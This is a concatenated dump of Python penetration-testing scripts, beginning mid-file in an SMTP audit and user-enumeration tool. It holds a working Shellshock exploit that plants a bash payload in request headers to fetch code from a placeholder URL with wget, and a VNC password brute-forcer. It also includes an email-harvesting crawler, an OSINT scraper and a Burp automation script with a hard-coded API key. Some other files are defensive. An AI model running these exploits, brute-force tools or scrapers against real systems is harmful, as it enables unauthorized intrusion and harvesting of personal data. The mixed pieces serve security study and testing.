Microsoft Exchange') # return True if out[0] == 550 and '5.7.1' in msg and 'does not have permissions to send as this sender' in msg: info('Looks like we might be dealing with Microsoft Exchange') return True except: pass return False def processResponseForSpfFailure(self, out): spfErrorCodes = (250, 451, 550, 554, ) spfErrorKnownSentences = ( 'Client host rejected: Access denied', ) spfErrorKeywords = ('validat', 'host rejected', 'fail', 'reject', 'check', 'soft', 'not auth', 'openspf.net/Why') if out[0] in spfErrorCodes: msg = out[1].decode().strip() # Maybe this error is already known? for knownSentence in spfErrorKnownSentences: if knownSentence in msg: dbg('SPF validation found when received well-known SPF failure error: {} ({})'.format( out[0], msg )) return True found = 0 for word in msg.split(' '): for k in spfErrorKeywords: if k.lower() in word: found += 1 break if 'spf' in msg.lower() and found >= 2: return True if found > 0: dbg('SPF validation possibly found but unsure ({} keywords related): {} ({})'.format( found, out[0], msg )) return False def checkIfSpfEnforced(self, out): if self.spfValidated: return True if self.processResponseForSpfFailure(out): info('SPF validation found: {} ({})'.format(out[0], out[1].decode())) self.spfValidated = '{} ({})'.format(out[0], out[1].decode()) return True if self.processResponseForAcceptedDomainsFailure(out): info('SPF validation not found but found enabled Microsoft Exchange Accepted Domains mechanism: {} ({})'.format(out[0], out[1].decode())) self.spfValidated = '{} ({})'.format(out[0], out[1].decode()) return False return False class ParseOptions: def __init__(self, argv): self.argv = argv self.domain = '' self.port = None self.userslist = '' self.selectors = '' self.forceSSL = False self.fromAddr = '' self.toAddr = '' self.parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options] <hostname[:port]|ip[:port]>') self.parser.add_argument('hostname', metavar='<domain|ip>', type=str, help='Domain address (server name, or IPv4) specifying SMTP server to scan (host:port).') self.parser.add_argument('-d', '--domain', metavar='DOMAIN', dest='maildomain', default='', help = 'This option can be used to specify proper and valid mail (MX) domain (what comes after @, like: example.com). It helps avoid script confusion when it automatically tries to find that mail domain and it fails (like in case IP was passed in first argument).') self.parser.add_argument('-v', '--verbose', dest='verbose', action = 'count', default = 0, help='Increase verbosity level (use -vv or more for greater effect)') self.parser.add_argument('-T', '--list-tests', dest='testsHelp', action='store_true', help='List available tests.') self.parser.add_argument('-u', '--unfolded', dest='unfolded', default=False, action='store_true', help = 'Always display unfolded JSON results even if they were "secure".') self.parser.add_argument('-C', '--no-colors', dest = 'colors', default = True, action = 'store_false', help = 'Print without colors.') self.parser.add_argument('-f', '--format', metavar='FORMAT', dest='format', default = 'text', choices = ['text', 'json'], help = 'Specifies output format. Possible values: text, json. Default: text.') self.parser.add_argument('-m', '--tests', metavar='TEST', dest='testToCarry', type=str, default = 'all', help = 'Select specific tests to conduct. For a list of tests'\ ', launch the program with option: "{} -T tests". Add more tests after colon. (Default: run all tests).'.format( argv[0] )) self.parser.add_argument('-M', '--skip-test', metavar='TEST', dest='testToSkip', type=str, default = '', help = 'Select specific tests to skip. For a list of tests'\ ', launch the program with option: "{} -T tests". Add more tests after colon. (Default: run all tests).'.format( argv[0] )) self.parser.add_argument('-t', '--timeout', metavar="TIMEOUT", type=float, dest='timeout', default = config['timeout'], help='Socket timeout. (Default: {})'.format( config['timeout'] )) self.parser.add_argument('--delay', metavar="DELAY", dest='delay', type=float, default = config['delay'], help='Delay introduced between subsequent requests and connections. '\ '(Default: {} secs)'.format( config['delay'] )) # Attack options attack = self.parser.add_argument_group('Attacks') attack.add_argument('--attack', dest='attack', action='store_true', help = 'Switch to attack mode in which only enumeration techniques will be pulled off (vrfy, expn, rcpt to). You can use --tests option to specify which of them to launch.') attack.add_argument('-U', '--users', metavar="USERS", type=str, dest='userslist', default = '', help='Users list file used during enumeration tests.') # DKIM options dkim = self.parser.add_argument_group('DKIM Tests') dkim.add_argument('-w', '--wordlist', dest='words', default='', type=str, help = 'Uncommon words to be used in DKIM selectors dictionary generation. Comma separated.') dkim.add_argument('-D', '--selectors', metavar="SELECTORS", type=str, dest='selectors', default = '', help='DKIM selectors list file with custom selectors list to review.') dkim.add_argument('-y', '--tries', metavar="TRIES", type=int, dest='tries', default = -1, help='Maximum number of DNS tries/enumerations in DKIM test. (Default: all of them)') dkim.add_argument('--dkim-enumeration', metavar="TYPE", type=str, choices = ['never', 'on-ip', 'full'], dest = 'dnsenum', default = config['dns_full'], help='When to do full-blown DNS records enumeration. Possible values: '\ 'always, on-ip, never. When on-ip means when DOMAIN was IP address. '\ '(Default: "{}")'.format( config['dns_full'] )) # Open-Relay options openRelay = self.parser.add_argument_group('Open-Relay Tests') openRelay.add_argument('-x', '--external-domain', dest='external_domain', metavar='DOMAIN', default = config['smtp_external_domain'], type=str, help = 'External domain to use in Open-Relay tests. (Default: "{}")'.format( config['smtp_external_domain'] )) openRelay.add_argument('--from', dest='fromAddr', default='', type=str, help = 'Specifies "From:" address to be used in Open-Relay test. Possible formats: (\'test\', \'[email protected]\', \'"John Doe" <[email protected]>\'). If you specify here and in \'--to\' full email address, you are going to launch your own custom test. Otherwise, those values will be passed into username part <USER>@domain.') openRelay.add_argument('--to', dest='toAddr', default='', type=str, help = 'Specifies "To:" address to be used in Open-Relay test. Possible formats: (\'test\', \'[email protected]\', \'"John Doe" <[email protected]>\'). If you specify here and in \'--from\' full email address, you are going to launch your own custom test. Otherwise, those values will be passed into username part <USER>@domain.') if len(sys.argv) < 2: self.usage() sys.exit(-1) if config['verbose']: ParseOptions.banner() if not self.parse(): sys.exit(-1) @staticmethod def banner(): sys.stderr.write(''' :: SMTP Black-Box Audit tool. v{}, Mariusz Banach / mgeeky, '17 '''.format(VERSION)) def usage(self): ParseOptions.banner() self.parser.print_help() def parse(self): global config testsHelp = '' for k, v in SmtpTester.testsConducted.items(): testsHelp += '\n\t{:20s} - {}'.format(k, v) if len(sys.argv) >= 2: if (sys.argv[1].lower() == '--list-tests') or \ (sys.argv[1] == '-T' and len(sys.argv) >= 3 and sys.argv[2] == 'tests') or \ (sys.argv[1] == '-T') or \ (sys.argv[1] == '--list-tests' and len(sys.argv) >= 3 and sys.argv[2] == 'tests'): print('Available tests:{}'.format(testsHelp)) sys.exit(0) args = self.parser.parse_args() if args.testsHelp: print('Available tests:{}'.format(testsHelp)) sys.exit(0) self.domain = args.hostname self.userslist = args.userslist self.selectors = args.selectors self.maildomain = args.maildomain self.attack = args.attack if args.fromAddr: self.fromAddr = args.fromAddr if args.toAddr: self.toAddr = args.toAddr if ':' in args.hostname: self.domain, self.port = args.hostname.split(':') self.port = int(self.port) if args.verbose >= 1: config['verbose'] = True if args.verbose >= 2: config['debug'] = True if args.verbose >= 3: config['smtp_debug'] = True config['timeout'] = args.timeout config['delay'] = args.delay config['max_enumerations'] = args.tries config['dns_full'] = args.dnsenum config['always_unfolded_results'] = args.unfolded config['format'] = args.format config['colors'] = args.colors config['attack'] = args.attack if args.words: config['uncommon_words'] = args.words.split(',') if args.testToCarry: config['tests_to_carry'] = args.testToCarry.split(',') for c in config['tests_to_carry']: if c == 'all': continue if c not in SmtpTester.testsConducted.keys(): err('There is no such test as the one specified: "{}"'.format( c )) print('\nAvailable tests:{}'.format(testsHelp)) sys.exit(-1) l = list(filter(lambda x: x != 'all', config['tests_to_carry'])) if l: info('Running following tests: ' + ', '.join(l)) if args.testToSkip: config['tests_to_skip'] = args.testToSkip.split(',') for c in config['tests_to_skip']: if c == '': break if c not in SmtpTester.testsConducted.keys(): err('There is no such test as the one specified: "{}"'.format( c )) print('\nAvailable tests:{}'.format(testsHelp)) sys.exit(-1) l = list(filter(lambda x: x != '', config['tests_to_skip'])) if l: info('Skipping following tests: ' + ', '.join(l)) return True def printResults(results, auditMode): if auditMode: if config['format'] == 'json': out = json.dumps(results, indent = 4) out = out[1:-1] out = out.replace('\\n', '\n') out = out.replace('\\', '') print(out) elif config['format'] == 'text': pass else: info('Results:') if config['format'] == 'json': out = json.dumps(results, indent = 4) out = out[1:-1] out = out.replace('\\n', '\n') out = out.replace('\\', '') print(out) else: for found in results: print(found) if not config['verbose'] and not config['debug']: sys.stderr.write('\n---\nFor more detailed output, consider enabling verbose mode.\n') def main(argv): opts = ParseOptions(argv) domain = opts.domain port = opts.port userslist = opts.userslist selectors = opts.selectors if config['format'] == 'text': sys.stderr.write(''' :: SMTP configuration Audit / Penetration-testing tool Intended to be used as a black-box tool revealing security state of SMTP. Mariusz Banach / mgeeky, '17-19 v{} '''.format(VERSION)) prev = datetime.datetime.now() info('SMTP Audit started at: [{}], on host: "{}"'.format( prev.strftime('%Y.%m.%d, %H:%M:%S'), socket.gethostname() )) info('Running against target: {}{}{}'.format( opts.domain, ':'+str(opts.port) if opts.port != None else '', ' (...@' + opts.maildomain + ')' if opts.maildomain != '' else '', toOutLine = True)) results = {} tester = SmtpTester( domain, port, dkimSelectorsList = selectors, userNamesList = userslist, openRelayParams = (opts.fromAddr, opts.toAddr), mailDomain = opts.maildomain ) try: if opts.attack: results = tester.runAttacks() else: results = tester.runTests() except KeyboardInterrupt: err('USER HAS INTERRUPTED THE PROGRAM.') if tester: tester.stop() after = datetime.datetime.now() info('Audit finished at: [{}], took: [{}]'.format( after.strftime('%Y.%m.%d, %H:%M:%S'), str(after - prev) ), toOutLine = True) if config['verbose'] and config['format'] != 'text': sys.stderr.write('\n' + '-' * 50 + '\n\n') printResults(results, not opts.attack) if __name__ == '__main__': main(sys.argv)
36.687113
365
0.520075
cybersecurity-penetration-testing
#!/usr/bin/python import uuid import hashlib def hash(password): salt = uuid.uuid4().hex return hashlib.sha512(salt.encode() + password.encode()).hexdigest() + ':' + salt def check(hashed, p2): password, salt = hashed.split(':') return password == hashlib.sha512(salt.encode() + p2.encode()).hexdigest() password = raw_input('Please enter a password: ') hashed = hash(password) print('The string to store in the db is: ' + hashed) re = raw_input('Please re-enter your password: ') if check(hashed, re): print('Password Match') else: print('Password Mismatch')
22.92
85
0.666667
Mastering-Machine-Learning-for-Penetration-Testing
import os import pefile PEfile = pefile.PE(“pe”, fast_load=True) DebugSize = PEfile.OPTIONAL_HEADER.DATA_DIRECTORY[6].Size print (DebugSize) DebugRVA = PEfile.OPTIONAL_HEADER.DATA_DIRECTORY[6].VirtualAddress print (DebugRVA) ImageVersion = PEfile.OPTIONAL_HEADER.MajorImageVersion print (ImageVersion) OSVersion = PEfile.OPTIONAL_HEADER.MajorOperatingSystemVersion print (OSVersion) ExportRVA = PEfile.OPTIONAL_HEADER.DATA_DIRECTORY[0].VirtualAddress print (ExportRVA) ExportSize = PEfile.OPTIONAL_HEADER.DATA_DIRECTORY[0].Size print (ExportSize) IATRVA = PEfile.OPTIONAL_HEADER.DATA_DIRECTORY[12].VirtualAddress print (IATRVA) ResSize = PEfile.OPTIONAL_HEADER.DATA_DIRECTORY[2].Size print (ResSize) LinkerVersion = PEfile.OPTIONAL_HEADER.MajorLinkerVersion print (LinkerVersion) NumberOfSections = PEfile.FILE_HEADER.NumberOfSections print (NumberOfSections) StackReserveSize = PEfile.OPTIONAL_HEADER.SizeOfStackReserve print (StackReserveSize) Dll = PEfile.OPTIONAL_HEADER.DllCharacteristics print (Dll)
33.758621
67
0.82721
Python-Penetration-Testing-for-Developers
import urllib2 import json GOOGLE_API_KEY = "{Insert your Google API key}" target = "packtpub.com" api_response = urllib2.urlopen("https://www.googleapis.com/plus/v1/people?query="+target+"&key="+GOOGLE_API_KEY).read() json_response = json.loads(api_response) for result in json_response['items']: name = result['displayName'] print name image = result['image']['url'].split('?')[0] f = open(name+'.jpg','wb+') f.write(urllib2.urlopen(image).read()) f.close()
29.0625
119
0.679167
cybersecurity-penetration-testing
import requests import sys url = sys.argv[1] payload = "() { :; }; /bin/bash -c '/usr/bin/wget <URL> >> /dev/null'" headers ={} r = requests.head(url) for header in r.headers: if header == "referer" or header == "User-Agent": headers[header] = payload req = requests.post(url, headers=headers)
26.545455
70
0.645695
Effective-Python-Penetration-Testing
import pyclamd try: clamd = pyclamd.ClamdUnixSocket() # test if server is reachable clamd.ping() except pyclamd.ConnectionError: # if failed, test for network socket clamd = pyclamd.ClamdNetworkSocket() try: clamd.ping() except pyclamd.ConnectionError: raise ValueError('could not connect to clamd server either by unix or network socket') print(clamd.version()) print(clamd.scan_file('path-to-file-or-folder-to-scan'))
23.222222
88
0.758621
PenetrationTestingScripts
from printers import printPink,printGreen import time import threading from multiprocessing.dummy import Pool from vnclib import * class vnc_burp(object): def __init__(self,c): self.config=c self.lock=threading.Lock() self.result=[] self.lines=self.config.file2list("conf/vnc.conf") def vnc_connect(self,ip,port,password): crack =0 try: v = VNC() v.connect(ip, port, 10) code,mesg=v.login(password) if mesg=='OK': crack=1 except Exception,e: crack=2 pass return crack def vnc_l(self,ip,port): try: for data in self.lines: flag=self.vnc_connect(ip=ip,port=port,password=data) if flag==2: self.lock.acquire() print "%s vnc at %s not allow connect now because of too many security failure" %(ip,port) self.lock.release() break if flag==1: self.lock.acquire() printGreen("%s vnc at %s has weaken password!!-----%s\r\n" %(ip,port,data)) self.result.append("%s vnc at %s has weaken password!!-----%s\r\n" %(ip,port,data)) self.lock.release() break else: self.lock.acquire() print "login %s vnc service with %s fail " %(ip,data) self.lock.release() except Exception,e: pass def run(self,ipdict,pinglist,threads,file): if len(ipdict['vnc']): printPink("crack vnc now...") print "[*] start crack vnc %s" % time.ctime() starttime=time.time() pool=Pool(threads) for ip in ipdict['vnc']: pool.apply_async(func=self.vnc_l,args=(str(ip).split(':')[0],int(str(ip).split(':')[1]))) pool.close() pool.join() print "[*] stop vnc serice %s" % time.ctime() print "[*] crack vnc done,it has Elapsed time:%s " % (time.time()-starttime) for i in xrange(len(self.result)): self.config.write_file(contents=self.result[i],file=file)
31.04
114
0.47627
owtf
""" tests.functional.plugins.web.active.test_web ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ """ from tests.owtftest import OWTFCliWebPluginTestCase class OWTFCliWebPluginTest(OWTFCliWebPluginTestCase): categories = ["plugins", "web"] def test_web_active(self): """Test OWTF WEB active plugins.""" self.run_owtf( "-g", "web", "-t", "active", "%s://%s:%s" % (self.PROTOCOL, self.IP, self.PORT), ) # Test OWTF exited cleanly. self.assert_is_in_logs("All jobs have been done. Exiting.", name="MainProcess") def test_web_passive(self): """Test OWTF WEB passive plugins.""" self.run_owtf( "-g", "web", "-t", "passive", "%s://%s:%s" % (self.PROTOCOL, self.IP, self.PORT), ) # Test OWTF exited cleanly. self.assert_is_in_logs("All jobs have been done. Exiting.", name="MainProcess") def test_web_semi_passive(self): """Test OWTF WEB semi-passive plugins.""" self.run_owtf( "-g", "web", "-t", "semi_passive", "%s://%s:%s" % (self.PROTOCOL, self.IP, self.PORT), ) # Test OWTF exited cleanly. self.assert_is_in_logs("All jobs have been done. Exiting.", name="MainProcess") def test_web_external(self): """Test OWTF WEB external plugins.""" self.run_owtf( "-g", "web", "-t", "external", "%s://%s:%s" % (self.PROTOCOL, self.IP, self.PORT), ) # Test OWTF exited cleanly. self.assert_is_in_logs("All jobs have been done. Exiting.", name="MainProcess") def test_web_grep(self): """Test OWTF WEB grep plugins.""" self.run_owtf( "-g", "web", "-t", "grep", "%s://%s:%s" % (self.PROTOCOL, self.IP, self.PORT), ) # Test OWTF exited cleanly. self.assert_is_in_logs("All jobs have been done. Exiting.", name="MainProcess")
28.666667
87
0.490398
Hands-On-Penetration-Testing-with-Python
import requests import json from urlparse import urljoin import socket import ast import time class Burp_automate(): def __init__(self): self.result="" self.api_key="odTOmUX9mNTV3KRQ4La4J1pov6PEES72" self.api_url="http://127.0.0.1:1337" def start(self): try: data='{"application_logins":[{"password":"password","username":"admin"}],"scan_callback":{"url":"http://127.0.0.1:8001"},"scope":{"exclude":[{"rule":"http://192.168.250.1/dvwa/logout.php","type":"SimpleScopeDef"}],"include":[{"rule":"http://192.168.250.1/dvwa/","type":"SimpleScopeDef"}]},"urls":["http://192.168.250.1/dvwa/"]}' request_url=urljoin(self.api_url,self.api_key) request_url=str(request_url)+"/v0.1/scan" resp=requests.post(request_url,data=data) self.call_back_listener() except Exception as ex: print("EXception caught : " +str(ex)) def poll_details(self,task_id): try: #curl -vgw "\n" -X GET 'http://127.0.0.1:1337/odTOmUX9mNTV3KRQ4La4J1pov6PEES72/v0.1/scan/11' while 1: data_json={} time.sleep(10) request_url=urljoin(self.api_url,self.api_key) request_url=str(request_url)+"/v0.1/scan/"+str(task_id) resp=requests.get(request_url) data_json=resp.json() issue_events=data_json["issue_events"] for issues in issue_events: if issues["issue"]["severity"] != "info": print("------------------------------------") print("Severity : " + issues["issue"].get("severity","")) print("Name : " + issues["issue"].get("name","")) print("Path : " + issues["issue"].get("path","")) print("Description : " + issues["issue"].get("description","")) if issues["issue"].get("evidence",""): print("URL : " + issues["issue"]["evidence"][0]["request_response"]["url"]) print("------------------------------------") print("\n\n\n") if data_json["scan_status"]=="succeeded": break except Exception as ex: print(str(ex)) def call_back_listener(self): try: if 1 : task_id=0 s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('127.0.0.1', 8001)) s.listen(10) conn, addr = s.accept() if conn: while True: data = conn.recv(2048) if not data: break try: index=str(data).find("task_id") task_id=str(data)[index:index+12] task_id=task_id.replace('"',"") splitted=task_id.split(":") t_id=splitted[1] t_id=t_id.lstrip().rstrip() t_id=int(t_id) if t_id: task_id=t_id break except Exception as ex: print("\n\n\nNot found" +str(ex)) if task_id: print("Task id : " +str(task_id)) self.poll_details(task_id) else: print("No task id obtaimed , Exiting : " ) except Exception as ex: print("\n\n\n@@@@Call back exception :" +str(ex)) obj=Burp_automate() obj.start()
28.762887
331
0.577616
owtf
from owtf.managers.resource import get_resources from owtf.plugin.helper import plugin_helper DESCRIPTION = "Plugin to assist manual testing" def run(PluginInfo): resource = get_resources("ExternalCSRF") Content = plugin_helper.resource_linklist("Online Resources", resource) return Content
26.909091
75
0.77451
cybersecurity-penetration-testing
from bs4 import BeautifulSoup import requests import requests.exceptions import urlparse from collections import deque import re # a queue of urls to be crawled urls = deque(['https://www.packtpub.com/']) # a set of urls that we have already crawled scraped_urls = set() # a set of crawled emails emails = set() # Scrape urls one by one queue is empty while len(urls): # move next url from the queue to the set of processed urls url = urls.popleft() scraped_urls.add(url) # extract base url to resolve relative links parts = urlparse.urlsplit(url) base_url = "{0.scheme}://{0.netloc}".format(parts) path = url[:url.rfind('/')+1] if '/' in parts.path else url # get url's content print("Processing %s" % url) try: response = requests.get(url) except (requests.exceptions.MissingSchema, requests.exceptions.ConnectionError): # ignore pages with errors continue # Search email addresses and add them into the output set new_emails = set(re.findall(r"[a-z0-9\.\-+_]+@[a-z0-9\.\-+_]+\.[a-z]+", response.text, re.I)) emails.update(new_emails) # create a beutiful soup soup = BeautifulSoup(response.text) # find and process all the anchors for anchor in soup.find_all("a"): # extract link url link = anchor.attrs["href"] if "href" in anchor.attrs else '' # resolve relative links if link.startswith('/'): link = base_url + link elif not link.startswith('http'): link = path + link # add the new url to the queue if not link in urls and not link in scraped_urls: urls.append(link) print(emails)
28.666667
97
0.64142
Hands-On-Penetration-Testing-with-Python
# -*- coding: utf-8 -*- from south.utils import datetime_utils as datetime from south.db import db from south.v2 import SchemaMigration from django.db import models class Migration(SchemaMigration): def forwards(self, orm): # Deleting field 'Project.username_filed' db.delete_column(u'xtreme_server_project', 'username_filed') # Adding field 'Project.username_field' db.add_column(u'xtreme_server_project', 'username_field', self.gf('django.db.models.fields.TextField')(default='Not Set'), keep_default=False) def backwards(self, orm): # Adding field 'Project.username_filed' db.add_column(u'xtreme_server_project', 'username_filed', self.gf('django.db.models.fields.TextField')(default='Not Set'), keep_default=False) # Deleting field 'Project.username_field' db.delete_column(u'xtreme_server_project', 'username_field') models = { u'xtreme_server.form': { 'Meta': {'object_name': 'Form'}, 'auth_visited': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'form_action': ('django.db.models.fields.URLField', [], {'max_length': '200', 'blank': 'True'}), 'form_content': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'form_found_on': ('django.db.models.fields.URLField', [], {'max_length': '200'}), 'form_method': ('django.db.models.fields.CharField', [], {'default': "'GET'", 'max_length': '10'}), 'form_name': ('django.db.models.fields.CharField', [], {'max_length': '512', 'blank': 'True'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'input_field_list': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'project': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Project']"}) }, u'xtreme_server.inputfield': { 'Meta': {'object_name': 'InputField'}, 'form': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Form']"}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'input_type': ('django.db.models.fields.CharField', [], {'default': "'input'", 'max_length': '256', 'blank': 'True'}) }, u'xtreme_server.learntmodel': { 'Meta': {'object_name': 'LearntModel'}, 'form': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Form']"}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'learnt_model': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'page': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Page']"}), 'project': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Project']"}), 'query_id': ('django.db.models.fields.TextField', [], {}) }, u'xtreme_server.page': { 'Meta': {'object_name': 'Page'}, 'URL': ('django.db.models.fields.URLField', [], {'max_length': '200'}), 'auth_visited': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'connection_details': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'content': ('django.db.models.fields.TextField', [], {'blank': 'True'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'page_found_on': ('django.db.models.fields.URLField', [], {'max_length': '200', 'blank': 'True'}), 'project': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Project']"}), 'status_code': ('django.db.models.fields.CharField', [], {'max_length': '256', 'blank': 'True'}), 'visited': ('django.db.models.fields.BooleanField', [], {'default': 'False'}) }, u'xtreme_server.project': { 'Meta': {'object_name': 'Project'}, 'allowed_extensions': ('django.db.models.fields.TextField', [], {}), 'allowed_protocols': ('django.db.models.fields.TextField', [], {}), 'auth_mode': ('django.db.models.fields.TextField', [], {}), 'consider_only': ('django.db.models.fields.TextField', [], {}), 'exclude_fields': ('django.db.models.fields.TextField', [], {}), 'login_url': ('django.db.models.fields.URLField', [], {'max_length': '200'}), 'logout_url': ('django.db.models.fields.URLField', [], {'max_length': '200'}), 'password': ('django.db.models.fields.TextField', [], {}), 'password_field': ('django.db.models.fields.TextField', [], {'default': "'Not Set'"}), 'project_name': ('django.db.models.fields.CharField', [], {'max_length': '50', 'primary_key': 'True'}), 'query_url': ('django.db.models.fields.URLField', [], {'max_length': '200'}), 'start_url': ('django.db.models.fields.URLField', [], {'max_length': '200'}), 'status': ('django.db.models.fields.CharField', [], {'default': "'Not Set'", 'max_length': '50'}), 'username': ('django.db.models.fields.TextField', [], {}), 'username_field': ('django.db.models.fields.TextField', [], {'default': "'Not Set'"}) }, u'xtreme_server.settings': { 'Meta': {'object_name': 'Settings'}, 'allowed_extensions': ('django.db.models.fields.TextField', [], {}), 'allowed_protocols': ('django.db.models.fields.TextField', [], {}), 'auth_mode': ('django.db.models.fields.TextField', [], {}), 'consider_only': ('django.db.models.fields.TextField', [], {}), 'exclude_fields': ('django.db.models.fields.TextField', [], {}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'password': ('django.db.models.fields.TextField', [], {}), 'username': ('django.db.models.fields.TextField', [], {}) }, u'xtreme_server.vulnerability': { 'Meta': {'object_name': 'Vulnerability'}, 'details': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'form': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Form']"}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}) } } complete_apps = ['xtreme_server']
61.943925
130
0.542174